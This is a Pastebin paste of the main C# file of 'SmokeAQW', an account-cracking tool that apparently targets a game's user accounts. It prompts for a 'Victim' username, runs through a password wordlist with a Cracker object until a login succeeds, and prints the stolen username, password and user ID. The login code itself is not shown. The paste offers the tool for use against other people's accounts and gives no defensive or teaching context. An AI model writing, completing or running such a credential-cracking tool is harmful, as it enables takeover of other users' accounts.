Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Runtime.InteropServices;
- using ConsoleApplication1.Cracker;
- using ConsoleApplication1.Cracker.Methods;
- namespace ConsoleApplication1
- {
- class Program
- {
- const string SAQW_Version = "2.0";
- const string SAQW_Title = ("SmokeAQW V " + SAQW_Version);
- static void Main(string[] args)
- {
- string Target;
- string Password;
- Console.Title = SAQW_Title.ToString();
- Console.WriteLine("Welcome to SmokeAQW V{0}", SAQW_Version);
- Console.WriteLine("Please enter a Username to crack:");
- Target = Console.ReadLine();
- Console.WriteLine();
- Console.WriteLine("Victim: {0}", Target);
- Console.WriteLine();
- //Declares Objects.
- Cracker.Cracker AccountCracker = new Cracker.Cracker(Target);
- Cracker.Methods.WordList Passwords = new Cracker.Methods.WordList("WordLists/1.txt", 0);
- AccountCracker.Password = null;
- try
- {
- RunPasswords:
- while ((Password = Passwords.Next()) != null)
- {
- while (AccountCracker.Run())
- {
- AccountCracker.Password = Passwords.Next();
- Console.Write("\rCurrent Try: {0} & Password: {1} \0", AccountCracker.PasswordCount, AccountCracker.Password);
- }
- }
- if (!Passwords.Terminated)
- goto RunPasswords;
- }
- finally { Passwords.Terminate(); }
- Console.WriteLine("\n\nCracked!\nUsername: {0}\nPassword: {1}\nUserID: {2}", AccountCracker.Username, AccountCracker.Password, AccountCracker.WRuserid);
- Console.Read();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement